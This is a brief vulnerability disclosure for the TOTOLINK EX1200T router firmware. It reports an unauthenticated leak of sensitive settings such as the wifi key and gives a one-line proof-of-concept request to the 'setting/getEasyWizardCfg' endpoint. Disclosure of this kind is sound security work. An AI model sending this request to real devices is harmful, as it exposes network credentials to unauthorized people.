totolink_ex1200t_easywizard_leak.md

TOTOLINK EX1200T LEAK

Vulnerability Description

PRODUCT: TOTOLINK EX1200T V4.1.2cu.5215 (latest version)

The attacker can get the sensitive information (wifikey, etc.) without authorization.

PoC

{"topicurl":"setting/getEasyWizardCfg"}